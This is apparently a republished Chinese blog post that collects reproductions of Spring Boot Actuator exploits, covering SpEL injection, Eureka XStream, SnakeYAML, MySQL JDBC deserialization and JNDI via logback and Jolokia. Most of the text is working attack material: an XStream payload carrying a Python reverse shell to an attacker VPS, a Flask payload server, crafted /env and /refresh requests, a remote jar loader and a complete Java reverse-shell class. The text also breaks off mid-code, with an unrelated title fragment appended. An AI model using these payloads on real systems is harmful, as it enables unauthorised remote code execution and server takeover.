Spring Boot Actuator 漏洞复现合集
Posted god_Zeo
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Spring Boot Actuator 漏洞复现合集相关的知识,希望对你有一定的参考价值。
前言
Spring Boot Actuator 未授权访问漏洞在日常的测试中还是能碰到一些的,这种未授权在某些情况下是可以达到RCE的效果的,所以还有有一定价值的,下面就是对这一系列漏洞复现。
基本上就是参考这篇文章的做的复现:
LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list (github.com)
Spring Boot Actuator简介
Spring Boot Actuator端点通过 JMX 和HTTP 公开暴露给外界访问,大多数时候我们使用基于HTTP的Actuator端点,因为它们很容易通过浏览器、CURL命令、shell脚本等方式访问。
一些有用的执行器端点是:
Spring Boot Actuator未授权访问
/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的’指标’信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应用程序
- Spring Boot Actuator 1.x 版本默认内置路由的起始路径为
/
,2.x 版本则统一以/actuator
为起始路径 - Spring Boot Actuator 默认的内置路由名字,如
/env
有时候也会被程序员修改,比如修改成/appenv
whitelabel error page SpEL RCE
1 影响版本:
- 影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
2 漏洞原理:
- 利用条件是使用了springboot的默认错误页(Whitelabel Error Page)
-
spring boot 处理参数值出错,流程进入
org.springframework.util.PropertyPlaceholderHelper
类中 -
此时 URL 中的参数值会用
parseStringValue
方法进行递归解析 -
其中
$
包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的resolvePlaceholder
方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
3 验证检测方法:
步骤一:找到一个正常传参处
比如发现访问 /article
,页面会报状态码为 500 的错误: Whitelabel Error Page
步骤二:执行 SpEL 表达式
输入 /article?id=$7*7
,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
4 利用方法:
由字符串格式转换成 0x**
java 字节形式,方便执行任意代码:
# author: Zeo
# python: 3.7
# software: PyCharm
"""
文件说明:转换字节码
"""
# coding: utf-8
result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
正常访问:
http://127.0.0.1:9091/article?id=66
执行 open -a Calculator
命令:
http://127.0.0.1:8080/article?id=$T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72))
漏洞环境搭建:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
eureka xstream deserialization RCE
1 利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标使用的
eureka-client
< 1.8.7(通常包含在spring-cloud-starter-netflix-eureka-client
依赖中) - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
2 漏洞原理:
- eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
- refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
- 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
3 漏洞环境:
repository/springboot-eureka-xstream-rce
4 漏洞复现
正常访问:
http://127.0.0.1:9093/env
发现存在所需的依赖
nc 监听端口,等待反弹 shell
架设响应恶意 XStream payload 的网站
运行恶意脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults='path': '')
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPSIP",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=777)
发送设置 eureka.client.serviceUrl.defaultZone 属性
POST /env HTTP/1.1
Host: 127.0.0.1:9093
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://VPSIP:777/example
刷新配置
POST /refresh HTTP/1.1
Host: 127.0.0.1:9093
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
成功反弹shell
5 利用方法:
步骤一:架设响应恶意 XStream payload 的网站
提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
步骤二:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
nc -lvp 443
步骤三:设置 eureka.client.serviceUrl.defaultZone 属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
POST /actuator/env
Content-Type: application/json
"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"
步骤四:刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
spring cloud SnakeYAML RCE
1 利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标依赖的
spring-cloud-starter
版本 < 1.3.0.RELEASE - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
2 利用方法:
步骤一: 托管 yml 和 jar 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在网站根目录下放置后缀为 yml
的文件 example.yml
,内容如下:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
在网站根目录下放置后缀为 jar
的文件 example.jar
,内容是要执行的代码,
代码编写及编译方式参考 (https://github.com/artsploit/yaml-payload)。
AwesomeScriptEngineFactory.java
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory
public AwesomeScriptEngineFactory()
try
Runtime.getRuntime().exec("dig quonwz.dnslog.cn");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
catch (IOException e)
e.printStackTrace();
@Override
public String getEngineName()
return null;
@Override
public String getEngineVersion()
return null;
@Override
public List<String> getExtensions()
return null;
@Override
public List<String> getMimeTypes()
return null;
@Override
public List<String> getNames()
return null;
@Override
public String getLanguageName()
return null;
@Override
public String getLanguageVersion()
return null;
@Override
public Object getParameter(String key)
return null;
@Override
public String getMethodCallSyntax(String obj, String m, String... args)
return null;
@Override
public String getOutputStatement(String toDisplay)
return null;
@Override
public String getProgram(String... statements)
return null;
@Override
public ScriptEngine getScriptEngine()
return null;
打包命令
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
打包完成
步骤二: 设置 spring.cloud.bootstrap.location 属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml![]()
spring 2.x
POST /actuator/env
Content-Type: application/json
"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"
步骤三: 刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
3 漏洞原理:
- spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
- refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
- SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
- 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
- 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
- 实例化类时执行恶意代码,造成 RCE 漏洞
4 利用过程分析:
首先简单总结一下利用过程
- 利用
/env
endpoint 修改spring.cloud.bootstrap.location
属性值为一个外部 yml 配置文件 url 地址,如http://127.0.0.1:63712/yaml-payload.yml
- 请求
/refresh
endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的javax.script.ScriptEngineManager
类,可实现加载远程 jar 包,完成任意代码执行
从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致的,来看一个使用 SnakeYAML 库反序列化的例子
@Test
public void testYaml()
Yaml yaml = new Yaml();
Object url = yaml.load("!!java.net.URL [\\"http://127.0.0.1:63712/yaml-payload.jar\\"]");
// class java.net.URL
System.out.println(url.getClass());
// http://127.0.0.1:63712/yaml-payload.jar
System.out.println(url);
SnakeYAML 支持 !!
+ 完整类名的方式来指定要反序列化的类,然后以 [arg1, arg2, ...]
的方式来传递构造方法参数,例子中的代码执行完后会出反序列化一个 java.net.URL
类的实例
再来看一下文章给出的外部 yml 文件 yaml-payload.yml
的内容
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
]]
]
SnakeYAML 处理上述内容的过程可以等价于以下 java 代码
URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]url));
代码执行后,会从 http://127.0.0.1:63712/yaml-payload.jar
地址下载 jar 包,并在包中寻找一个 javax.script.ScriptEngineFactory
接口的实现类,然后实例化,因为这个 jar 包代码是可控的,因此可执行任意代码
5 漏洞环境:
repository/springcloud-snakeyaml-rce
正常访问:
http://127.0.0.1:9092/env
springboot mysql jdbc deserialization RCE
1 利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标环境中存在
mysql-connector-java
依赖 - 目标可以请求攻击者的服务器(请求可出外网)
2 漏洞原理:
- spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址
- refresh 刷新后设置了一个新的 spring.datasource.url 属性值
- 当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接
- 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据
- 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞
3 利用过程
步骤一:查看环境依赖
GET 请求 /env
或 /actuator/env
,搜索环境变量(classpath)中是否有 mysql-connector-java
关键词,并记录下其版本号(5.x 或 8.x);
搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 commons-collections
、Jdk7u21
、Jdk8u20
等;
搜索 spring.datasource.url
关键词,记录下其 value
值,方便后续恢复其正常 jdbc url 值。
步骤二:架设恶意 rogue mysql server
在自己控制的服务器上运行 springboot-jdbc-deserialization-rce.py 脚本,并使用 ysoserial 自定义要执行的命令:
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
在脚本同目录下生成 payload.ser
反序列化 payload 文件,供脚本使用。
步骤三:设置 spring.datasource.url 属性
⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!
mysql-connector-java 5.x 版本设置属性值为:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x 版本设置属性值为:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x
POST /actuator/env
Content-Type: application/json
"name":"spring.datasource.url","value":"对应属性值"
步骤四:刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
步骤五:触发数据库查询
尝试访问网站已知的数据库查询的接口,例如: /product/list
,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
访问http://127.0.0.1:9097//product/list
步骤六:恢复正常 jdbc url
反序列化漏洞利用完成后,使用 步骤三 的方法恢复 步骤一 中记录的 spring.datasource.url
的原始 value
值
restart logging.config logback JNDI RCE
1 利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/restart
接口重启应用 - 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
- ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
- ⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
- ⚠️ JNDI 服务返回的 object 需要实现
javax.naming.spi.ObjectFactory
接口,否则会导致程序异常退出
2 利用方法:
步骤零:找到目标网站
发现spring actuator
目前主要有两个差别比较大的版本,1.x 和 2.x 版本。从路由角度看,2.x 版本的路由名一般比 1.x 版本路由名字前多了个 /actuator
前缀。本文涉及到的相关漏洞原理经过测试与 spring actuator
大版本的相关度差别不大,下文统一用 2.x
步骤一:托管 xml 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python3 -m http.server 80
在根目录放置以 xml
结尾的 example.xml
文件,实际内容要根据步骤二中使用的 JNDI 服务来确定:
<configuration>
<insertFromJNDI env-entry-name="ldap://110.xx.xx.110:1389/TomcatBypass/TomcatMemshell3" as="appName" />
</configuration>
步骤二:托管恶意 ldap 服务及代码
修改 JNDIExploit 并启动(也可以使用其他工具):
https://github.com/feihong-cs/JNDIExploit
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i 110.xx.xx.110
步骤三:设置 logging.config 属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x
POST /actuator/env
Content-Type: application/json
"name":"logging.config","value":"http://your-vps-ip/example.xml"
步骤四:重启应用
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
4 漏洞原理:
- 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址
- restart 重启应用后,程序会请求 URL 地址获得恶意 xml 文件内容
- 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
- xml 文件中利用
logback
依赖的insertFormJNDI
标签,设置了外部 JNDI 服务器地址 - 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
Springboot jolokia Realm JNDI RCE
1 正常访问:
http://127.0.0.1:9094/env
2 利用条件:
- 目标网站存在
/jolokia
或/actuator/jolokia
接口 - 目标使用了
jolokia-core
依赖(版本要求暂未知)并且环境中存在相关 MBean - 目标可以请求攻击者的服务器(请求可出外网)
- 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
3 利用方法:
步骤一:查看已存在的 MBeans
访问 /jolokia/list
接口,查看是否存在 type=MBeanFactory
和 createJNDIRealm
关键词。
步骤二:准备要执行的 Java 代码
编写优化过后的用来反弹 shell 的Java 示例代码 JNDIObject.java
。
把 JNDIObject.java 编译成 class文件
javac -source 1.5 -target 1.5 /Users/zy/Desktop/JNDIObject.java
修改反弹shell的字段
String ip = "110.110.110.110";
String port = "4443";
代码:
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject
static
try
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows"))
String[] py_envs = new String[]"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3";
for(int i = 0; i < py_envs.length; ++i)
String py = py_envs[i];
if ((new File(py)).exists())
py_path = py;
break;
if (py_path != null)
if ((new File("/bin/bash")).exists())
cmd = new String[]py_path, "-c", "import pty;pty.spawn(\\"/bin/bash\\")";
else
cmd = new String[]py_path, "-c", "import pty;pty.spawn(\\"/bin/sh\\")";
else
if ((new File("/bin/bash")).exists())
cmd = new String[]"/bin/bash";
else
cmd = new String[]"/bin/sh";
else
cmd = new String[]"cmd.exe";
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed())
while(pi.available() > 0)
so.write(pi.read());
while(pe.available() > 0)
so.write(pe.read());
while(si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50L);
try
p.exitValue();
break;
catch (Exception e)
p.destroy();
s.close();
catch (Throwable e)
e.printStackTrace无法访问 Spring Boot Actuator“/actuator”端点